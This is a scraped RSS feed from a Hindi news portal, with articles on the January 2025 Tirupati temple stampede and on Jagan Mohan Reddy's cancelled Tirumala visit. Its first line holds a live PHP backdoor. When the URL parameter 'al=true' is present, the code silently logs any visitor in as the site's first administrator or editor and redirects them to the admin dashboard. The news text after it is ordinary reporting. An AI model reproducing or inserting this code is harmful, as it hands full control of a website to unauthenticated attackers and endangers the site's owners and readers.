// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Tirupati Balaji temple – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 09 Jan 2025 13:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 तिरुपति बालाजी मंदिर में एक काउंटर पर हजारों लोग, भगदड़ और भीड़ काबू करने की व्यवस्था नहीं https://pratyushaashakinayikiran.com/?p=119205 Thu, 09 Jan 2025 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=119205 हैदराबाद।

आंध्र प्रदेश के तिरुमाला हिल्स पर भगवान वेंकटेश्वर स्वामी मंदिर में वैकुंठ एकादशी उत्सव शुरू होने से दो दिन पहले मची भगदड़ ने प्रशासन पर सवाल खड़े कर दिए हैं। उत्सव के लिए टिकट या टोकन मुहैया कराने के लिए बनाए गए 90 से अधिक टिकट काउंटरों पर भारी भीड़ उमड़ पड़ी।

देखते ही देखते वहां भगदड़ मच गई और छह लोगों की मौत की खबर आई। बता दें कि इस त्योहार के दौरान श्रद्धालु मंदिर के उत्तरी प्रवेश द्वार से भगवान वेंकटेश्वर की पूजा-अर्चना कर सकते हैं।

1,20,000 टोकन वितरित करने की व्यवस्था की गई थी
दरअसल, 10 से 12 जनवरी को वार्षिक दर्शन के पहले तीन दिनों के लिए भगवान वेंकटेश्वर स्वामी के 'सर्व दर्शन' (निःशुल्क दर्शन) के लिए भक्तों को 1,20,000 टोकन वितरित करने की व्यवस्था की गई थी। 10 दिवसीय उत्सव के लिए दर्शन टोकन गुरुवार को सुबह 5 बजे से दिए जाने थे, लेकिन हजारों लोग मंदिर के संचालन की देखरेख करने वाले तिरुमाला तिरुपति देवस्थानम (टीटीडी) की ओर से बनाए गए काउंटरों पर एक रात पहले ही एकत्र हो गए।

4,000-5,000 लोग काउंटर पर जमा हो गए
अधिकारियों ने बताया कि तिरुपति में सत्यनारायणपुरम, बैरागीपट्टेडा और रामानायडू स्कूल के अलावा तीन तीर्थयात्री लॉज विष्णु निवासम, श्रीनिवासम और भूदेवी कॉम्प्लेक्स में 94 काउंटरों पर वितरण व्यवस्था की गई थी। तिरुपति नगर आयुक्त एन मोरुआ ने बताया कि विष्णु निवासम मंदिर के पास बैरागीपट्टेडा में एमजीएम हाईस्कूल में बने काउंटर पर हालात नियंत्रण से बाहर हो गए। बुधवार सुबह से ही करीब 4,000-5,000 लोग काउंटर पर जमा हो गए। शाम तक भीड़ बेकाबू हो गई और धक्का-मुक्की होने लगी।

'महिला की मदद के लिए गेट खोला तो भीड़ बढ़ गई'
टीटीडी के चेयरमैन बीआर नायडू के मुताबिक, जब अस्वस्थ महसूस कर रही एक महिला की मदद के लिए गेट खोला गया तो भीड़ एक साथ आगे बढ़ गई और अफरा-तफरी मच गई। भीड़ को नियंत्रित करने के लिए पर्याप्त व्यवस्था न होने के कारण बुधवार देर शाम भगदड़ मच गई, जिसमें कम से कम छह श्रद्धालुओं की मौत हो गई और 40 से अधिक घायल हो गए।

पीएम मोदी, राहुल गांधी ने जताया दुख
घटना पर प्रधानमंत्री नरेंद्र मोदी, विदेश मंत्री एस जयशंकर और आंध्र प्रदेश के मुख्यमंत्री चंद्रबाबू नायडू ने दुख जताया। पीएम मोदी ने कहा कि उनकी संवेदनाएं उन लोगों के साथ हैं, जिन्होंने अपने प्रियजनों को खो दिया है। लोकसभा में विपक्ष के नेता राहुल गांधी ने कांग्रेस कार्यकर्ताओं से इस कठिन समय में हर संभव सहायता प्रदान करने का आग्रह किया।

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तिरुपति बालाजी मंदिर में भगदड़ में अब तक 6 लोगों की मौत, ‘वैकुंठ द्वार दर्शन’ के टिकट बांटते समय हादसा https://pratyushaashakinayikiran.com/?p=119175 Thu, 09 Jan 2025 12:45:00 +0000 https://pratyushaashakinayikiran.com/?p=119175 हैदराबाद/चित्तूर।

आंध्र प्रदेश के तिरुपति बालाजी मंदिर में हुई भगदड़ में अब तक 6 लोगों की मौत हो चुकी है और कई श्रद्धालु गंभीर रूप से घायल हुए हैं। यह हादसा तब हुआ जब श्रद्धालुओं की भारी भीड़ तिरुपति के श्री वेंकटेश्वर स्वामी मंदिर में ‘वैकुंठ द्वार दर्शन’ के टिकट के लिए पहुंची थी।

यह दर्शन 9 जनवरी से शुरू होने वाले था, लेकिन टिकट के वितरण को लेकर हुई अव्यवस्था और भीड़ के दबाव ने गंभीर स्थिति पैदा कर दी, जिससे यह हादसा हुआ। तिरुपति मंदिर की प्रशासनिक संस्था तिरुमला तिरुपति देवस्थानम (TTD) ने इस घटना पर खेद व्यक्त किया है और मृतकों के परिवारों को मुआवजा देने का आश्वासन दिया है। टीटीडी के अधिकारियों का कहना है कि इस हादसे के बाद सभी सुरक्षा उपायों की पुनः समीक्षा की जाएगी। इस घटना के बाद, मंदिर प्रशासन ने सुरक्षा इंतजामों को बढ़ाने और भगदड़ से बचने के लिए उपाय शुरू कर दिए हैं, ताकि भविष्य में ऐसी घटना न हो। मंदिर प्रशासन ने यह भी कहा कि भविष्य में टिकटों की बिक्री के लिए अधिक सख्त व्यवस्था की जाएगी, ताकि लोगों को इस तरह की समस्या का सामना न करना पड़े। टीटीडी के अनुसार, “वैकुंठ द्वार दर्शन के लिए टिकटों के वितरण को लेकर भारी भीड़ और व्यवस्था में खामियों के कारण स्थिति नियंत्रण से बाहर हो गई।”
टीटीडी बोर्ड मेंबर भानु प्रकाश रेड्डी ने कहा, “मंदिर में एकादशी दर्शन के लिए टोकन बांटे जा रहे थे, और इसके लिए हम ने 91 काउंटर खोले थे। यह बहुत दुखद है कि भगदड़ मच गई। इस भगदड़ में 6 लोगों की मौत हो गई और 40 लोग घायल हो गए। हम सभी को मेडिकल फेसेलिटी दे रहे हैं। आज तक टीटीडी के इतिहास में ऐसा कभी नहीं हुआ है। मैं सभी श्रद्धालुओं से माफी मांगता हूं।”

कब हुई घटना और क्या थे कारण
श्री वेंकटेश्वर मंदिर के अधिकारियों ने 9 जनवरी से ‘वैकुंठ द्वार दर्शन’ के लिए टिकट जारी करने की योजना बनाई थी। इस दर्शन को लेकर श्रद्धालुओं के बीच विशेष उत्साह था, क्योंकि यह विशेष दिन है और मंदिर में इस दिन विशेष पूजा होती है। जानकारी के मुताबिक, टिकट लेने के लिए लगभग 4 हजार लोग लाइन में लगे थे, और काउंटर की संख्या सिर्फ 91 थी। इसी बीच भीड़ बेकाबू हो गई और भगदड़ मच गई। लोग इधर उधर तेजी से भागने लगे, जिसके चलते कई लोग जमीन पर गिर पड़े। इसी के चलते 6 लोगों की मौत हो गई। इस हादसे में कई लोग गंभीर रूप से घायल हो गए हैं। घायल श्रद्धालुओं में से कुछ को अस्पताल में भर्ती कराया गया है, जहां उनमें से कई की स्थिति गंभीर बताई जा रही है।
इस दुर्घटना के बाद कई नेताओं और सामाजिक कार्यकर्ताओं ने तिरुपति मंदिर प्रशासन की आलोचना की है। उनका कहना है कि मंदिर प्रशासन को श्रद्धालुओं की सुरक्षा के लिए पहले से ही ठोस व्यवस्था करनी चाहिए थी। कई लोगों ने यह भी सवाल उठाया कि अगर टिकटों की बिक्री पहले से ही निर्धारित थी, तो इतनी बड़ी संख्या में लोग मंदिर परिसर में

क्यों जमा हो गए?
कुछ श्रद्धालुओं ने बताया कि उन्हें लगता था कि टिकट नहीं मिलेंगे, इसीलिए उन्होंने 8 जनवरी से ही मंदिर पहुंचना शुरू कर दिया था। उन्होंने आरोप लगाया कि टोकन प्रणाली की अव्यवस्था के कारण यह घटना हुई।

प्रधानमंत्री, मुख्यमंत्री ने जताया दुख
आंध्र प्रदेश के मुख्यमंत्री चंद्रबाबू नायडू ने घटना पर दुख जताते हुए कहा कि इस हादसे से वह हैरान हैं। उन्होंने कहा, “मैं हालात पर करीब से नजर बनाए हुआ हूं। मैं पीड़ितों के परिवार से गुरुवार सुबह मुलाकात करूंगा।” प्रधानमंत्री नरेंद्र मोदी ने भी घटना पर दुख जताते हुए कहा, “आंध्र प्रदेश के तिरुपति में भगदड़ से आहत हूं। मेरी संवेदनाएं उन लोगों के साथ हैं जिन्होंने अपने प्रियजनों को खोया है। मैं प्रार्थना करता हूं कि घायल जल्द ठीक हो जाएं। आंध्र प्रदेश सरकार प्रभावित लोगों को हरसंभव सहायता प्रदान कर रही है। वहीं कांग्रेस नेता राहुल गांधी ने लिखा, “तिरुपति में हुई भगदड़ बेहद दुखद है। शोक संतप्त परिवारों के प्रति मेरी हार्दिक संवेदना। सभी घायलों के शीघ्र स्वस्थ होने की कामना करता हूं। मैं कांग्रेस नेताओं और कार्यकर्ताओं से आग्रह करता हूं कि वे इस कठिन समय में हर संभव सहायता प्रदान करें।”

कहां है तिरुपति मंदिर और क्या है इसका धार्मिक महत्व
तिरुपति मंदिर, आंध्रप्रदेश के चित्तूर जिले में स्थित एक प्रसिद्ध हिंदू मंदिर है। यह श्री वेंकटेश्वर स्वामी मंदिर के नाम से भी जाना जाता है, जो भगवान श्री वेंकटेश्वर को समर्पित है। तिरुपति का यह मंदिर विश्वभर में सबसे अमीर और सबसे अधिक दर्शनार्थियों वाला मंदिर माना जाता है। यहां प्रत्येक दिन लाखों श्रद्धालु आते हैं और भगवान वेंकटेश्वर के दर्शन करते हैं।
मंदिर तिरुमाला पर्वत की चोटी पर स्थित है और यहां तक पहुंचने के लिए श्रद्धालु पैदल यात्रा भी करते हैं, जिसे “तिरुमाला पर्वत यात्रा” कहा जाता है। इस मंदिर की ऐतिहासिक और धार्मिक महत्ता अत्यधिक है और इसे वैष्णव सम्प्रदाय के प्रमुख मंदिरों में गिना जाता है। तिरुपति मंदिर का प्रमुख उत्सव “वैकुंठ द्वार दर्शन” है, जो हर साल खास महत्व रखता है, जहाँ लाखों लोग भगवान वेंकटेश्वर के दर्शन के लिए एकत्रित होते हैं। मंदिर का प्रशासन तिरुमला तिरुपति देवस्थानम (TTD) द्वारा किया जाता है, जो मंदिर से संबंधित सभी गतिविधियों का संचालन करता है। तिरुपति मंदिर का आर्थिक योगदान भी बहुत बड़ा है, क्योंकि यह दुनिया के सबसे अधिक दान प्राप्त करने वाले धार्मिक स्थलों में शामिल है।

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जगन रेड्डी ने मंदिर की यात्रा रद्द की; भारी विरोध की वजह से लिया फैसला https://pratyushaashakinayikiran.com/?p=76265 Fri, 27 Sep 2024 17:56:00 +0000 https://pratyushaashakinayikiran.com/?p=76265 नई दिल्ली

युवजन श्रमिक रायथू कांग्रेस पार्टी (YSRCP) के प्रमुख और आंध्र प्रदेश के पूर्व मुख्यमंत्री वाईएस जगन मोहन रेड्डी ने तिरुमाला में स्थित भगवान वेंकटेश्वर स्वामी मंदिर की अपनी प्रस्तावित यात्रा रद्द कर दी है। ऐसा मंदिर के प्रसादम लड्डू बनाने में जानवरों की चर्बी के इस्तेमाल के आरोपों के बाद हुआ है। यह फैसला उनकी यात्रा के दौरान किसी भी व्यवधान या सुरक्षा संबंधी चिंताओं से बचने के लिए लिया गया है। जगन मोहन रेड्डी की आंध्र प्रदेश के विश्व प्रसिद्ध तिरुपति मंदिर में शनिवार (28 सितंबर) को पूजा-अर्चना करने की योजना से सियासी पारा चढ़ गया था।

सत्तारूढ़ राष्ट्रीय जनतांत्रिक गठबंधन (NDA) पूर्व मुख्यमंत्री से मंदिर में प्रवेश करने से पहले अपनी आस्था साबित करने की मांग पर अड़ा हुआ है। नियमों के अनुसार, विदेशियों और गैर-हिंदुओं को मंदिर में भगवान वेंकटेश्वर के दर्शन करने से पहले भगवान के प्रति अपनी श्रद्धा साबित करनी चाहिए।

जगन (Jagan Mohan Reddy) ने कहा था कि तिरुपति के लड्डुओं को लेकर मुख्यमंत्री एन चंद्रबाबू नायडू ने उनके ऊपर आरोप लगाकर कथित रूप से जो पाप किया है। उसका प्रायश्चित करने के लिए वह पार्टी द्वारा बुलाए गए राज्यव्यापी मंदिर अनुष्ठानों के हिस्से के रूप में मंदिर का दौरा करेंगे।

रेड्डी की अपील नायडू द्वारा लगाए गए उस आरोप के कुछ दिनों बाद आई थी, जिसमें उन्होंने आरोप लगाया था कि पिछली वाईएसआरसीपी सरकार ने तिरुपति के श्री वेंकटेश्वर मंदिर में लड्डू बनाने के लिए घटिया सामग्री और जानवरों की चर्बी का इस्तेमाल किया था।

नायडू के आरोपों ने देशभर में विवाद को जन्म दे दिया। बीजेपी की राज्य इकाई ने रेड्डी की मंदिर में जाने की घोषणा पर प्रतिक्रिया देते हुए गुरुवार को उनसे (जगनमोहन रेड्डी को) मंदिर में प्रवेश करने से पहले अपनी आस्था साबित करने की मांग की। बीजेपी की आंध्र प्रदेश इकाई के नेता एल दिनाकर ने कहा कि रेड्डी को अपनी पसंद के धर्म का पालन करने का संवैधानिक अधिकार है लेकिन उन्हें अन्य धर्मों के रीति-रिवाजों, परंपराओं और नियमों का सम्मान करना चाहिए।

दिनाकर ने पीटीआई से कहा, "वह (जगन मोहन रेड्डी) हिंदू मंदिरों में प्रवेश करने की कोशिश कर रहे हैं। उन्हें हिंदू मंदिरों की व्यवस्था और प्रथाओं का पालन करना चाहिए, अन्यथा वह देवस्थानम (तिरुमाला मंदिर) में प्रवेश करने के लिए अयोग्य हैं।"

दिनाकर ने आरोप लगाया कि विपक्षी नेता को अपने शासन के दौरान मंदिरों के खिलाफ कथित कृत्यों और तिरुपति लड्डू 'प्रसादम' बनाने के लिए घटिया घी के इस्तेमाल के लिए माफी मांगनी चाहिए। इससे पहले, BJP की आंध्र प्रदेश इकाई की प्रमुख डी पुरंदेश्वरी ने इस मुद्दे को उठाया था।

 मंदिर प्रसादम में मिलावट को लेकर हुए विवाद के बीच आंध्र प्रदेश के पूर्व मुख्यमंत्री जगन मोहन रेड्डी तिरुपति बालाजी मंदिर में दर्शन के लिए जाएंगे। भाजपा ने उनके इस फैसले को लेकर कई सवाल खड़े किए हैं। आईएएनएस से बातचीत में भाजपा नेता राजीव चंद्रशेखर ने उनके विजिट को ‘नाटक’ करार दिया।

राजीव चंद्रशेखर ने कहा, जो उनके कार्यकाल में तिरुपति बालाजी मंदिर में हुआ है, उससे हिन्दुओं के साथ-साथ उन लोगों की आस्था के साथ खिलवाड़ हुआ जो तिरुपति बालाजी मंदिर में विश्वास करते हैं। उन्होंने आगे कहा, जगन मोहन रेड्डी इस बात को जान चुके हैं कि इस विवाद के बाद तिरुपति बालाजी मंदिर के भक्तों में गुस्सा है और उन्हें सबक सिखाने के लिए भक्त तैयार हैं। भक्तों के गुस्से व डर की वजह से जगन मोहन रेड्डी मंदिर आने का नाटक कर रहे हैं। इस नाटक से अब कुछ होने वाला नहीं है।

उन्होंने कहा, जो अपमान होना था, वह हो चुका है। हमारे आंध्र प्रदेश के अध्यक्ष ने भी मांग की है कि अगर जगन मोहन रेड्डी मंदिर जा रहे हैं तो वह बताएं कि उनका बैकग्राउंड क्या है, वह हिन्दू हैं या फिर ईसाई? मंदिर में एक नियम है कि जो नॉन हिन्दू हैं उन्हें एक डिक्लेरेशन फॉर्म भरना होता है। जगन मोहन रेड्डी भी मंदिर आगमन के दौरान यह फॉर्म भरें और सबको बताए कि वह हिन्दू हैं या फिर ईसाई। राजीव चंद्रशेखर ने कहा, जो अपमान हो चुका है, अब उनके राजनीतिक नाटक से कोई फायदा नहीं होने वाला है।

भाजपा नेता से संयुक्त राष्ट्र में जम्मू कश्मीर चुनावों के बीच किसी मुस्लिम राष्ट्र द्वारा उठाए गए सवाल पर भी राय रखी।

एक सवाल के जवाब में भाजपा नेता राजीव चंद्रशेखर ने कहा, दुनिया को यह पता चल गया है कि भारत का एक अभिन्न भाग जम्मू-कश्मीर है। आर्टिकल 370 और 35ए के खत्म होने के बाद हम यहां देख रहे हैं कि चुनाव हो रहे हैं और भारी तदाद में इसमें लोग भाग ले रहे हैं। लोग जान चुके हैं कि 60 साल से जो प्रोपेगेंडा चला आ रहा था कि जम्मू-कश्मीर एक विवादित क्षेत्र है। लेकिन, यहां के युवाओं के लिए एक समृद्ध जम्मू-कश्मीर बन रहा है। विकसित भारत का जो प्रधानमंत्री नरेंद्र मोदी का सपना है, उसे जम्मू-कश्मीर, उत्तर प्रदेश, बिहार सहित सभी राज्यों को साथ लेकर चलने से होगा। विकसित भारत की कल्पना को साकार करने के लिए यहां के युवा भी भागीदार बनेंगे।

 

 

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